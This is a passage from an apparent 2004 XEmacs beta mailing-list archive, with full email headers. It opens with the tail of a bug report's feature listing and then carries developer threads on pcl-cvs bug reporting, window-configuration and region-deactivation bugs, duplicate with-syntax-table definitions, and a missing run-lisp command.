1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.2 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) (Sun ver: 1.15 upstream: No-Upstream-Ver) Installed Modules: ----------------- Features: -------- (xemacsbug shadow facemenu enriched cl-specs edebug html-mode html-helper-mode auc-menu tempo rect vm-edit ksh-mode vm-save vm-digest ediff-vers ediff-merg ediff-diff ediff-tbar ediff-wind ediff-help ediff-util ediff-mult ediff-init ediff gdb debug-toolbar view-less view hyper-apropos python-mode info-look overlay info cc-mode cc-fonts cc-menus cc-cmds cc-styles cc-align cc-engine cc-vars cc-defs lazy-lock diff-mode tabify mail-utils mail-abbrevs sendmail rfc822 vm-reply vm-virtual vm-sort vm-mime vm-page vm-toolbar vm-summary tapestry vm-motion vm-message vm-menu vm-folder vm-undo vm-minibuf vm-macro vm-misc vm-mouse vm-window vm-delete vm-autoload vm-vars highlight-headers vm-version vm vm-startup font disp-table paren blink-paren gnuserv font-lock cus-face complete timezone supercite mail-extr regi filladapt edmacro tramp-util compile tramp-smb tramp-vc tramp regexp-opt executable advice advice-preload shell format-spec timer trampver efs-x19.15 efs-fnh efs-ovwrt efs-cu efs-netrc efs-defun comint efs vc ring vc-hooks zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads oo-browser-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hyperbole-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads general-docs-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads erc-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads Sun-autoloads modules-autoloads lisp-autoloads loadhist rsz-minibuf auto-show fontl-hooks x-iso8859-1 code-cmds gutter-items menubar-items x-menubar mode-motion mouse behavior itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived newcomment env text-props frame obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote unicode lucid-scrollbars cut-buffer lucid-menubars x c-balloon-help tty-frames tty toolbar scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar berkeley-db dbm md5 xemacs gutter tiff png gif jpeg xpm xbm lisp-float-type file-coding darwin devices window-system base64) Recent keystrokes: ----------------- e , SPC t h a t ' s SPC n o t SPC v e r y SPC e n c o u r a g i n g . C-n C-n C-n C-c C-c d n SPC button2 button2up n SPC d n SPC d n k n SPC k u n SPC ESC x x e m TAB TAB ESC BS s u b m i TAB ESC BS b u TAB C-g C-h a r e p o r t RET q ESC x r e p o r t - x e m TAB RET Recent messages (most recent first): ----------------------------------- Parsing /Users/skip/.mailrc... done Parsing /Users/skip/.mailrc... Loading xemacsbug...done Loading xemacsbug... Quit Decoding MIME message... done Decoding MIME message... 2 messages deleted 1 message deleted End of message 3038 from csae1211@uibk.ac.at Sending URL to browser... Sending...done Wrote /Users/skip/Mail/archive/2004-04 Sending... untabify: done untabify: 5% ... fill-prefix cancelled Decoding text/enriched... done Filling paragraphs... Unknown annotations: (color color color fontfamily fontfamily color fontfamily color color fontfamily color fontfamily color) From xemacs-beta-admin@xemacs.org Sun Apr 4 11:48:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Fm2s08844; Sun, 4 Apr 2004 11:48:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34Fl1W08636 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 11:47:01 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34Fl0808618 for turnbull@tux.org; Sun, 4 Apr 2004 11:47:00 -0400 Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Fkws08612; Sun, 4 Apr 2004 11:46:58 -0400 Received: from sfwd00.aul.t-online.de by mailout04.sul.t-online.com with smtp id 1BA9pm-0000HU-00; Sun, 04 Apr 2004 17:46:54 +0200 Received: from D5DC120J.t-online.de (G-vffYZEwexMbPT1tbXU+to65BE95n09+EqOvT7ZgIz0RYh5Brn04y@[217.229.5.153]) by afwd00.sul.t-online.com with esmtp id 1BA9pb-0zwx8a0; Sun, 4 Apr 2004 17:46:43 +0200 To: Alex Schroeder , monnier+lists/cvs/pcl@cs-www.cs.yale.edu Cc: XEmacs Beta Subject: How to report pcl-cvs defects (upstream)? (was: [Erc-help] [C] Re: [PATCH] erc: Use truncate-string-to-width instead of truncate-string alias) X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <7jx5deft.fsf@smtpmail.t-online.de> <87r7v9najr.fsf@emacswiki.org> <8yhej91w.fsf@smtpmail.t-online.de> <871xn3swfs.fsf@emacswiki.org> Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 04 Apr 2004 17:47:46 +0200 In-Reply-To: <871xn3swfs.fsf@emacswiki.org> (Alex Schroeder's message of "Sun, 04 Apr 2004 15:29:43 +0200") Message-ID: <65cf923h.fsf_-_@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: G-vffYZEwexMbPT1tbXU+to65BE95n09+EqOvT7ZgIz0RYh5Brn04y X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Alex Schroeder writes: > Adrian Aichner writes: > >> Where would I send that report? >> >> cd c:\Hacking\subversions.gnu.org\emacs\lisp\ >> grep -Pni "(report|submit|bug)" pcv*.el NUL: >> ... >> does not enlighten me. > > In pcvs.el I found the following, which matches my recollection from > emacs-devel: > > Maintainer: (Stefan Monnier) monnier+lists/cvs/pcl@flint.cs.yale.edu > > Alex. Thanks for the investigation, Alex. Stefan must think I have lost my memory, because I was in contact with him many moons ago on pcl-cvs syncing issues between GNU Emacs and XEmacs (mostly key-bindings). The point I was trying to make in this thread is that pcl-cvs should probably have a bug reporting function like many other modes do. M-x igrep-find RET \(def\S+.*\b(report|submit|bug) RET *.el turn up 100 matches for GNU Emacs CVS sources (few irrelevant matches too). Stefan, what are your thoughts on this? Now to the issue at hand: Stefan, on a commit of an erc patch to SourceForge I got the *Backtrace* exhibited at http://www.emacswiki.org/cgi-bin/wiki.pl/BacktraceDuringErcCommit Is this sufficient to pinpoint the problem? What else should I provide next time this kind of thing happens? Best regards, Adrian -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 4 11:51:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Fp2s09456; Sun, 4 Apr 2004 11:51:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34Foqw09417 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 11:50:52 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34FopW09406 for turnbull@tux.org; Sun, 4 Apr 2004 11:50:51 -0400 Received: from elvenbow.nc.kyushu-u.ac.jp (elvenbow.nc.kyushu-u.ac.jp [133.5.6.4]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Fons09390 for ; Sun, 4 Apr 2004 11:50:49 -0400 Received: from localhost (kasahara@elvenbow.nc.kyushu-u.ac.jp [127.0.0.1]) by elvenbow.nc.kyushu-u.ac.jp (8.12.10/8.12.10) with ESMTP id i34FoWqj094668; Mon, 5 Apr 2004 00:50:32 +0900 (JST) (envelope-from kasahara@nc.kyushu-u.ac.jp) Date: Mon, 05 Apr 2004 00:50:31 +0900 (JST) Message-Id: <20040405.005031.229753697.kasahara@nc.kyushu-u.ac.jp> To: sperber@informatik.uni-tuebingen.de Cc: xemacs-beta@xemacs.org Subject: Re: [21.5-b17] current/set-window-configuration incompatibility From: Yoshiaki Kasahara In-Reply-To: References: <20040402.112154.846971284.kasahara@nc.kyushu-u.ac.jp> X-Fingerprint: CDA2 B6B6 6796 0DD3 9D80 2602 E909 4623 A15E A074 X-URL: http://www.nc.kyushu-u.ac.jp/~kasahara/ X-Mailer: Mew version 4.0.65 on XEmacs 21.5-b17 (chayote) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Sun, 04 Apr 2004 11:25:29 +0200, Michael Sperber said: > Can you provide a recipe for reproducing the problem? Well, how about this simple example? in *scratch* buffer: (setq wc (current-window-configuration)) (set-window-configuration wc) You will see the cursor returns to the next line of "(setq ...". When I did the same things in other kinds of Emacs, the cursor didn't jump and stay after the line of "(set-window..". Currently I have only one real example. I'm using Mew for my mail reader. I try to complete email addresses in a draft buffer with key after typing a few characters. When there are two or more candidates to complete, the frame is automatically splitted and these candidates are shown. Type a few more characters to narrow down the candidate and hit to finish complete, then Mew restore the window configuration using (set-window-configuration). The cursor should be at the end of the completed email address....but with XEmacs-21.5beta, the cursor return to the head of the completed email address. It is not fatal, but annoying. -- Yoshiaki Kasahara Computing and Communications Center, Kyushu University kasahara@nc.kyushu-u.ac.jp From xemacs-beta-admin@xemacs.org Sun Apr 4 11:58:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Fw1s10809; Sun, 4 Apr 2004 11:58:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34FvAv10687 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 11:57:10 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34Fv9R10675 for turnbull@tux.org; Sun, 4 Apr 2004 11:57:09 -0400 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Fv7s10670; Sun, 4 Apr 2004 11:57:07 -0400 Received: from sfwd00.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BA9z6-0000by-00; Sun, 04 Apr 2004 17:56:32 +0200 Received: from D5DC120J.t-online.de (bHDdgZZQYelMIwIUhz2uGMEPMo5oPEhoG0p1A2U2lVnK8PT6rjsagX@[217.229.5.153]) by afwd00.sul.t-online.com with esmtp id 1BA9yt-1SaEsq0; Sun, 4 Apr 2004 17:56:19 +0200 To: Michael Sperber Cc: Adrian Aichner , XEmacs Beta List Subject: Re: M-x ANY-CHAR deactivates region X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <5.0.0.25.2.20031002221741.019e4a48@127.0.0.1> <20031005212139.GA96929@dspnet.fr.eu.org> <878ynx4dnq.fsf@tleepslib.sk.tsukuba.ac.jp> <4.3.2.7.2.20031007065755.00b8fe88@127.0.0.1> Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 04 Apr 2004 17:57:24 +0200 In-Reply-To: (Michael Sperber's message of "Sun, 04 Apr 2004 14:37:29 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: bHDdgZZQYelMIwIUhz2uGMEPMo5oPEhoG0p1A2U2lVnK8PT6rjsagX X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Michael Sperber writes: >>>>>> "APA" == Adrian Aichner writes: > >>>>>> " " == Michael Sperber writes: > >>>>>> "APA" == Adrian Aichner writes: > APA> However, commands on regions deactivate the region first in 21.5 after > APA> some(TM) usage. > > APA> I have not been able to come up with a testcase to this day. > >>> I've partially tracked this down. (It's somewhere off Fnext_event.) >>> But I'm waiting for it to happen again to do more. And, sure enough, >>> it doesn't happen anymore :-( > > APA> Hello Michael, still waiting? ;-> > > APA> Have you made any progress on this annoying issue? > > Yes; I've narrowed it down considerably. It happens in > post_command_hook, in this code: > > if (! zmacs_region_stays > && (!MINI_WINDOW_P (XWINDOW (win)) > || EQ (zmacs_region_buffer (), WINDOW_BUFFER (XWINDOW (win))))) > zmacs_deactivate_region (); > else > zmacs_update_region (); Ah, so I wasn't too far off with my feeble pre-command and post-command recording approach. The code above is obviously from ... event-stream.c:4298: if (! zmacs_region_stays right? Doesn't this reek of a missing `save-window-excursion' somewhere? > > However, the stuff I do for debugging tends to deactivate the bug, so > it's still a waiting game. But it *is* at the very top of my list, > and I work on it whenever I can reproduce it. Thanks! -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 4 12:22:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34GM1s16780; Sun, 4 Apr 2004 12:22:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34GLFW16649 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 12:21:15 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34GLE516627 for turnbull@tux.org; Sun, 4 Apr 2004 12:21:14 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34GLCs16622; Sun, 4 Apr 2004 12:21:12 -0400 Received: from sfwd00.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BAAMv-0005MU-00; Sun, 04 Apr 2004 18:21:09 +0200 Received: from D5DC120J.t-online.de (rxrtXYZGreUcnadv3CjDCXeBz7USWJGdcYGotimek1CVBjl4ZCrysb@[217.229.5.153]) by afwd00.sul.t-online.com with esmtp id 1BAAMq-0MXBUu0; Sun, 4 Apr 2004 18:21:04 +0200 To: skip@pobox.com, XEmacs Beta Subject: Multiple definitions of `with-syntax-table' in 21.5 (was: [Bug: 21.5-b16] py-symbol-near-point broke between b9 and b16) X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 04 Apr 2004 18:22:09 +0200 In-Reply-To: <200404041423.i34ENRUj012735@montanaro.dyndns.org> (Skip Montanaro's message of "Sun, 4 Apr 2004 09:23:27 -0500 (CDT)") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: rxrtXYZGreUcnadv3CjDCXeBz7USWJGdcYGotimek1CVBjl4ZCrysb X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Skip Montanaro writes: > Python-mode.el has a function called py-symbol-near-point: > > (defun py-symbol-near-point () > "Return the first textual item to the nearest point." > ;; alg stolen from etag.el > (save-excursion > (with-syntax-table py-dotted-expression-syntax-table > (if (or (bobp) (not (memq (char-syntax (char-before)) '(?w ?_)))) > (while (not (looking-at "\\sw\\|\\s_\\|\\'")) > (forward-char 1))) > (while (looking-at "\\sw\\|\\s_") > (forward-char 1)) > (if (re-search-backward "\\sw\\|\\s_" nil t) > (progn (forward-char 1) > (buffer-substring (point) > (progn (forward-sexp -1) > (while (looking-at "\\s'") > (forward-char 1)) > (point)))) > nil)))) > > which is used to identify python identifiers and dotted expressions. This > broke sometime between 21.5-b9 and 21.5-b16. If dot is somewhere within > > sys.getdefaultencoding > > it correctly returns "sys.getdefaultencoding" under b9 but returns nil under > b16. Stepping through the function in both b9 and b16 using edebug suggests > that (char-syntax (char-before)) returns ?\. in b16 when point is within a > range of alphabetic characters and ?w in b9 under the same situation. That > suggests that something changed with the interpretation of > py-dotted-expression-syntax-table. Hi Skip! `with-syntax-table' features in the CahngeLog entries of http://www.xemacs.org/Releases/21.5.12.html#lisp:ChangeLog as being New in subr.el. However, in my XEmacs 21.5 (beta17) "chayote" [Lucid] (i586-pc-win32, Mule) of Sun Apr 04 2004 on D5DC120J M-x find-function RET with-syntax-table RET takes me away to Line 1005 in help.el, onimously a defmacro. Sure enough subr.el has a different versions of that same macro in 21.5-b17! What shoobeedoo about this? One of the two must go, I'd say. Best regards, Adrian > > Debugging this is way beyond my feeble skills. I didn't see any ChangeLog > entries which seemed apropos, but I'm not real sure what to look for. I > hope someone can connect the behavioral change with some changes in XEmacs. -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 4 12:49:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Gn2s22702; Sun, 4 Apr 2004 12:49:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34Gmd322632 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 12:48:39 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34GmbL22609 for turnbull@tux.org; Sun, 4 Apr 2004 12:48:37 -0400 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34GmZs22605; Sun, 4 Apr 2004 12:48:35 -0400 Received: from sfwd00.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BAAnS-0003IX-00; Sun, 04 Apr 2004 18:48:34 +0200 Received: from D5DC120J.t-online.de (TD0w8UZCgekaHni4t1sg-lYQbtWi0nQF6dRAfsbnlEWz997vPvFH0n@[217.229.5.153]) by afwd00.sul.t-online.com with esmtp id 1BAAnQ-1gj9qi0; Sun, 4 Apr 2004 18:48:32 +0200 To: Adam Tindale Cc: xemacs-beta@xemacs.org Subject: Re: XEmacs Services Problem X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 04 Apr 2004 18:49:37 +0200 In-Reply-To: <7BB43716-8543-11D8-8A83-000A95B3BD12@music.mcgill.ca> (Adam Tindale's message of "Sat, 3 Apr 2004 02:49:49 -0500") Message-ID: <3c7j663i.fsf@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: TD0w8UZCgekaHni4t1sg-lYQbtWi0nQF6dRAfsbnlEWz997vPvFH0n X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Adam Tindale writes: > Hello, > > I am sorry to bother you. I have looked through a LOT of documentation > and my problem seems to be unique. > > I am running OSX 10.3.2 and I have used the newest version of FINK to > install XEMACS. Everything is great except when I try to use the M-x > run-lisp sequence it does not seem to be defined in XEMACS. I have my > lisp command set up and running in /bin. The documentation says that > run-lisp calls /bin/lisp to run lisp in a buffer. I had this working > in the cocoa version of XEMACS but the function does not seem to be > working in the X11 version I compiled via FINK. > > Could you tell me how I can add this function back to XEMACS? > > Any help would be greatly appreciated. Since I do have it working on > another version I can still work so don't worry about getting back. I Hi Adam, my XEmacs cannot deduce the value of `another' from your description, please specify it :-) My googling for "run-lisp" for you only came up with this relevant much, which is from the last millenium: http://list-archive.xemacs.org/xemacs/199811/msg00191.html Where do you find this run-lisp in this other version of XEmacs? Please send us the output of M-x find-function RET run-lisp RET Good Luck, Adrian > know you are busy. > > Thanks for reading this far. Have a wonderful day. > > Adam > > -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 4 13:02:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34H21s25736; Sun, 4 Apr 2004 13:02:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34H1A925551 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 13:01:10 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34H18j25521 for turnbull@tux.org; Sun, 4 Apr 2004 13:01:08 -0400 Received: from mx4.informatik.uni-tuebingen.de (mx4.Informatik.Uni-Tuebingen.De [134.2.12.29]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34H16s25494; Sun, 4 Apr 2004 13:01:06 -0400 Received: from localhost (loopback [127.0.0.1]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id 1B2E613FD; Sun, 4 Apr 2004 19:01:05 +0200 (MST) Received: from mx4.informatik.uni-tuebingen.de ([127.0.0.1]) by localhost (mx4 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 24206-04; Sun, 4 Apr 2004 19:01:04 +0200 (DFT) Received: from sams.informatik.uni-tuebingen.de (sams.Informatik.Uni-Tuebingen.De [134.2.12.50]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id 88C4113F0; Sun, 4 Apr 2004 19:01:04 +0200 (MST) Received: from sams.informatik.uni-tuebingen.de (localhost [127.0.0.1]) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3) with ESMTP id i34H14ET011358; Sun, 4 Apr 2004 19:01:04 +0200 (CEST) (envelope-from sperber@sams.informatik.uni-tuebingen.de) Received: (from sperber@localhost) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3/Submit) id i34H14DZ011357; Sun, 4 Apr 2004 19:01:04 +0200 (CEST) To: Adrian Aichner Cc: XEmacs Beta List Subject: Re: M-x ANY-CHAR deactivates region References: <878ynx4dnq.fsf@tleepslib.sk.tsukuba.ac.jp> <5.0.0.25.2.20031002221741.019e4a48@127.0.0.1> <20031005212139.GA96929@dspnet.fr.eu.org> <878ynx4dnq.fsf@tleepslib.sk.tsukuba.ac.jp> <4.3.2.7.2.20031007065755.00b8fe88@127.0.0.1> From: Michael Sperber Date: Sun, 04 Apr 2004 19:01:04 +0200 In-Reply-To: (Adrian Aichner's message of "Sun, 04 Apr 2004 17:57:24 +0200") Message-ID: User-Agent: Gnus/5.110001 (No Gnus v0.1) XEmacs/21.5 (celeriac, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "APA" == Adrian Aichner writes: APA> Doesn't this reek of a missing `save-window-excursion' somewhere? Well, some internal invariant is obviously getting violated, so I doubt it can be done with Elisp-code hacking alone. -- Cheers =8-} Mike Friede, Völkerverständigung und überhaupt blabla From xemacs-beta-admin@xemacs.org Sun Apr 4 15:28:19 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34JSCs27080; Sun, 4 Apr 2004 15:28:12 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34JRwS27026 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 15:27:58 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34JRvE27017 for turnbull@tux.org; Sun, 4 Apr 2004 15:27:57 -0400 Received: from limicola.its.uu.se (limicola.its.UU.SE [130.238.7.33]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34JRss27011; Sun, 4 Apr 2004 15:27:54 -0400 Received: by limicola.its.uu.se (Postfix, from userid 205) id 55BE49007; Sun, 4 Apr 2004 21:27:53 +0200 (MSZ) Received: from limicola.its.uu.se(127.0.0.1) by limicola.its.uu.se via virus-scan id s2130; Sun, 4 Apr 04 21:27:42 +0200 Received: from finn.tsl.uu.se (finn.tsl.uu.se [130.238.68.106]) by limicola.its.uu.se (Postfix) with ESMTP id EDCD69007; Sun, 4 Apr 2004 21:27:41 +0200 (MSZ) Received: by finn.tsl.uu.se (Postfix, from userid 5030) id E348471B8; Sun, 4 Apr 2004 21:27:41 +0200 (CEST) Date: Sun, 4 Apr 2004 21:27:41 +0200 From: Johan Nyberg To: Adrian Aichner Cc: Karl Berry , xemacs-beta@xemacs.org, kb@cs.umb.edu Subject: Re: [johan.nyberg@tsl.uu.se: crypt++ message: gpg: packet with S2K 3 too short] Message-ID: <20040404192741.GD29100@finn.tsl.uu.se> Reply-To: johan.nyberg@tsl.uu.se References: <200404020150.i321o1v26547@f7.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Organization: Department of Radiation Sciences, Uppsala University User-Agent: Mutt/1.5.5.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org 